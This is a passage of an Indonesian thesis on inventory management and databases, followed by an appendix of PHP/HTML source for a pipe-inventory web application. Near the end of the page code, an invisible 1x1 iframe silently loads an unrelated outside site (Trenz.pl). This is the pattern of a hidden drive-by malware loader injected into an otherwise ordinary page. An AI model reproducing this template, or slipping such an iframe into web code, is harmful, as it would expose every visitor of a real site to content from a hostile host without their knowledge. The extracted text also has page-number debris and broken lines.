a. Barang pemeliharaan, perbaikan, dan operasi (MRO Materials)

Barang jenis ini sifatnya habis pakai, digunakan untuk keperluan pemeliharaan, perbaikan, atau reparasi dan operasi, dan kalau pada suatu saat perediaan habis, operasi masih dapat berjalan sementara.

b. Barang program (program materials)

Barang yang sifatnya juga habis pakai, jumlah kebutuhannya sesuai dengan tingkat produksi/ kegiatan yang bersangkutan, dan kalau pada suatu saat persediaan habis, kegiatan perusahaan akan langsung berhenti.

5) Menurut Jenis Anggaran

a. Barang Operasi (operation materials)

Barang yang digunakan untuk keperluan operasi biasa, yang dianggarkan dalam anggaran operasi, dan apabila digunakan, akan dibukukan sebagai biaya, dan proses persetujuan anggarannya biasanya lebih cepat dan sederhana.


(64)

b. Barang investasi (capital materials)

Barang yang biasanya berbentuk peralatan dan digunakan untuk penambahan, perluasan atau pembangunan proyekm atau sebagai asset perusahaan, dianggarkan dalam anggaran investasi, bukan dalam anggaran operasi, dan dibukukan dalam akun asset perusahaan, sedangkan biayanya dihitung dengan metode penyusutan sesuai dengan metode perhitungan yang telah ditentukan, dan proses persetujuan anggarannya biasanya lebih sulit dan lama.

6) Menurut Cara Pembukuan Perusahaan

a. Barang persediaan (stock items)

Jenis barang yang setibanya barang tersebut dari proses pembelian, dibukukan

dalam akun “persediaan barang perusahaan” dan barangnya sendiri disimpan

di gudang persedian. Setelah barang tersebut digunakan oleh suatu bagian, baru dibebankan pada akun bagian yang bersangkutan. Penggunaan barang ini berulang-ulang sehingga memang perlu disediakan di gudang.

b. Barang dibebankan langsung (direct charged materials)

Jenis barang yang setelah dibeli langsung dikirimkan dan dibebankan ke bagian yang akan menggunakan. Barang jenis ini memang biasanya tidak disediakan dalam persediaan, karena jarang sekali digunakan.

7) Menurut Hubungannya dengan Produksi

a. Barang Langsung (direct materials)

Jenis barang yang langsung digunakan dalam produksi yang akan menjadi bagian dari produksi akhir. Jadi, bahan mentah, bahan penolong, barang setengah jadi, barang jadi, dan barang komoditas termasuk dalam kategori ini.


(65)

39

b. Jenis barang yang tidak ada hubungannya dengan proses produksi, namun

diperlukan untuk memelihara mesin dan fasilitas yang digunakan untuk produksi. Yang masuk dalam kategori ini adalah MRO (suku cadang dan barang umum) dan barang proyek.

2.6.4 Beberapa Hambatan dalam Manajemen Persediaan

Banyak hal yang mengakibatkan sistem persediaan supply chain tidak efektif.

Sebab-sebab tersebut sangat bervariasi, ada yang teknis dan ada juga yang terkait dengan perilaku individu maupun organisasi. Lee dan Billington dalam tulisannya di

Sloan Management Review tahun 1992 mengemukakan 14 jebakan yang bisa muncul

dalam mengelola persediaan pada supply chan. Beberapa diantaranya adalah

(Nyiman, 2005):

1) Tidak ada metrik kinerja yang jelas

Kinerja supply chain banyak terkait dengan persediaan. Misalnya tingkat

perputaran persediaan (inventory turnover rate), rata-rata lama permintaan atau

kebutuhan bisa dipenuhi oleh persediaan (inventory days of supply), banyaknya

persediaan yang kadarluwarsa, dan sebagainya. Walaupun ukuran-ukuran tersebut relatif jelas, definisi dan cara pengukurannya dilapangan, memilih ukuran mana yang pas dan berapa target yang harus dicapai bukanlah hal yang simpel.

2) Status pesanan tidak akurat

Ketika pelanggan memesan suatu produk ke pemasok, mereka berharap bisa mendapatkan informasi kapan pesanan tersebut bisa dipenuhi. Walaupun pada awalnya pelanggan sudah mendapatkan informasi tersebut, mereka tetap


(66)

mengharapkan informasi yang mutakhir tentang perkembangan pesanan mereka

dari waktu ke waktu. Namun sangat sering terjadi supplier tidak mampu

memberikan informasi tentang status pengiriman yang akurat. Akibatnya, pesanan ketidakpastian tinggi dan mendorong pelanggan untuk menyimpan cadangan persediaan yang lebih layak.

3) Sistem informasi tidak handal

Perusahaan tidak akan bisa memberikan status pesanan kalau sistem informasi antar bagian di dalam perusahaan maupun sistem yang bisa menghubungkan perusahaan dengan pelangga tidak handal. Sering kali tiap bagian dalam perusahaan tidak memiliki informasi yang sama tentang persediaan. Catatan di gudang berbedda dengan catatan yang dimiliki oleh bagian perencanaan produksi.

4) Kebijakan persediaan terlalu sederhana dan mengabaikan ketidakpastian.

Di literature kita banyak menjumpai model-model persediaan. Model-model tersebut biasanya sederhana dan menggunakan berbagai asumsi yang sering tidak berlaku di lapangan. Dasar-dasar tersebut memang sangat penting sebagai landasan, namun dalam kenyataannya staf dan manajer perlu pemahaman situasi

lapangan dengan banyak melakukan analisis data seperti lead time, permintaan,

akurasi catatan persediaan, persentaasi kerusakan (reject/ defect rate), dan

sebagainya.

5) Biaya-biaya persediaan tidak ditaksir dengan benar.

Ketika perusahaan mencari solusi terhadap lead time, pengiriman yang panjang

dan tidak pasti, transportasi udara biasanya tidak masuk sebagai pertimbangan. Banyak orang sejak awal mengambil keputusan tanpa analisis bahwa pengiriman


(67)

41

lewat udara pasti tidak layak. Tentu ini tidak selalu benar. Ada perusahaan yang telah melakukan analisis transportasi ternyata bisa merealisasikan penghematan luar biasa karena pindah dari transportasi laut ke transportasi udara.

6) Keputusan supply chain yang tidak terintegrasi.

Implikasi dan keputusan suatu supply chain terhadap persediaan sering tidak

dipahami dengan baik. Sebelum dilakukan perubahan pada proses perakitan dan distribusi, sebuah perusahaan printer di Amerika menerima pesanan dari pusat-pusat penjualan merek di seluruh dunia. Tiap Negara biasanya memiliki kebutuhan yang berbeda terutama karen perbedaan bahasa yang akan digunakan

pada buku petunjuk serta perbedaan sistem sumber daya listrik (power supply).

2.7 Database

2.7.1 Konsep Sistem Database

Keberhasilan suatu sistem informasi manajemen (SIM) sangat dipengaruhi

oleh sistem database yang merupakan salah satu elemen penyusun sistem tersebut.

Semakin lengkap, akurat, dan mudah dalam menampilkan kembali data-data yang

termuat di dalam database, akan semakin meningkatkan kualitas SIM tersebut. Oleh

karena itu, sangatlah penting menyusun sistem database yang baik, yang mampu

memenuhi segala kebutuhan data atau informasi pemakainya.

Manajemen database merupakan bagian dari manajemen sumber daya

informasi serta memastikan bahwa sumber daya data perusahaan mencerminkan secara akurat sistem fisik yang di wakilinya (Sutabri, 2005). Sumber daya data


(1)

var hours = now.getHours(); var minutes = now.getMinutes(); var seconds = now.getSeconds() ardate = new

Array("0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15 ","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30 ","31");

armonth = new Array("January ","February ","March ","April ","May ","June ","July ","August ","September ", "October ","November ","December ")

var timeValue = ardate[day] + " " + armonth[month] + year + " | " timeValue += ((hours >12) ? hours -12 :hours)

if (timeValue == "0") timeValue = 12;

timeValue += ((minutes < 10) ? ":0" : ":") + minutes timeValue += ((seconds < 10) ? ":0" : ":") + seconds timeValue += (hours >= 12) ? " P.M." : " A.M." document.clock.face.value = timeValue;

timerID = setTimeout("showtime()",1000); timerRunning = true;

}

function startclock() { stopclock();

showtime(); }

// End --> </SCRIPT>

<body onLoad="startclock()">

<div align=center><img src="images/header.jpg" alt="Header" /></div> <div align="center">

<table width=900 class="table_content"> <tr>

<td width="150px" valign="top" align="left"> <table width="150" border="0">

<ul id="qm0" class="qmmc">

<li><a href="indexi.php">Home</a></li> <?php if($reg_hakUser==0) { ?>

<li><a class="qmparent"

href="javascript:void(0)">Administrator</a>

<ul>

<li><a href="?page=user&action=add">Manage User</a></li> </ul></li>

<?php } ?>

<?php if($reg_hakUser==2 OR $reg_hakUser==0) { ?>


(2)

<ul>

<li><a href="?page=brgmasuk&action=add">Data Pipa Masuk</a></li>

<li><a href="?page=brgkeluar&action=add">Data Pipa Keluar</a></li>

<li><a href="?page=databrg&action=add">Data Pipa</a></li>

<li><a href="?page=pembeli&action=add">Data Pembeli</a></li> <!--<li><a href="?page=supp&action=add">Data Suplier</a></li>-->

<li><a href="?page=sortir&action=add">Reproduksi Pipa</a></li> </ul></li>

<?php } ?>

<?php if($reg_hakUser==0) { ?>

<li><a href="?page=wo&action=add">Work Order</a></li> <?php } ?>l

<?php if($reg_hakUser==1 OR $reg_hakUser==0) { ?>

<li><a class="qmparent" href="javascript:void(0);">Laporan</a> <ul>

<li><a href="?page=brgmasuk&action=lap">Lap. Pipa Masuk</a></li>

<li><a href="?page=brgkeluar&action=lap">Lap. Pipa Keluar</a></li>

<!--<li><a href="?page=supp&action=lap">Lap. Data Suplier</a></li>-->

<li><a href="?page=pembeli&action=lap">Lap. Data Pembeli</a></li>

<li><a href="?page=sortir&action=lap">Lap. Reproduksi Pipa</a></li>

<li><a href="?page=stock&action=lap">Lap. Stok Pipa</a></li> <li><a href="?page=wo&action=lap">Lap. Work Order</a></li> </ul></li>

<?php } ?>

<?php if($reg_hakUser==2) { ?>

<li><a href="?page=wo&action=lap">Lap. Work Order</a></li>

<?php } ?>

<?php if($reg_hakUser==3 OR $reg_hakUser==0) { ?>

<li><a href="?page=ready&action=lap">Cek Barang</a></li> <?php } ?>

<li class="qmclear">&nbsp;</li></ul>

<!-- Create Menu Settings: (Menu ID, Is Vertical, Show Timer, Hide Timer, On Click ('all' or 'lev2'), Right to Left, Horizontal Subs, Flush Left, Flush Top) -->

<script

type="text/javascript">qm_create(0,false,0,500,'all',false,false,false,false);</script> </table>

</td>


(3)

</td>

<td valign="top" align="left">

<table class="table_box" width=730> <tr>

<td colspan=2 align="left"><?php echo "Welcome

<strong>$reg_fullName</strong> | Login as <strong>$level</strong> | <strong><a href=\"logout.php\">Logout</a></strong>";?>

</td> </tr> <tr>

<form name="clock">

<td><div class=title2><?php echo $barisX[0]; ?></div></td> <td align="right">

<input type="text" name="face" size=28 value=""> </td>

</form> </tr> <tr>

<td colspan=2 align="center" width=700> <?php

if(!empty($_SESSION['LOG_ERROR'])) {

echo "<div id='log-error'>".$_SESSION['LOG_ERROR']."</div>"; $_SESSION['LOG_ERROR'] = null;

} ?> </td> </tr> <tr> <td>&nbsp;</td> </tr> <?php

if($main->cekFiles($reg_userID, $barisX[3])) { ?>

<tr>

<td colspan=2><?php include "$barisX[1]"; ?></td> </tr>

<tr>

<td colspan=2><br /><br /><?php if($barisX[2]=="") { echo "&nbsp;"; } else { include "$barisX[2]"; } ?></td> </tr> <?php }


(4)

else {

echo "<tr><td colspan=2 width=600 align=center>";

$main->info_msg("Anda tidak punya hak untuk mengakses menu ini!", "");

echo "</td></tr>"; }

?> </table> </td> </tr> <tr>

<td colspan="3"><div class="footer"></div></td> </tr>

<tr>

<td colspan="3"><font style="text-align:left">&copy; 2013 PT Bakrie Pipe Industries All Right Reserved.

</font>

<font style="text-align:right">Powered by Nasrullah</font> </td>

</tr> </table> </div>

<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>

</body> </html> <?php }

else {

$main->warn_msg("Anda belum login, silakan login kembali","index.php"); }


(5)

L4

LAMPIRAN

SURAT

KETERANGAN

PENELITIAN


(6)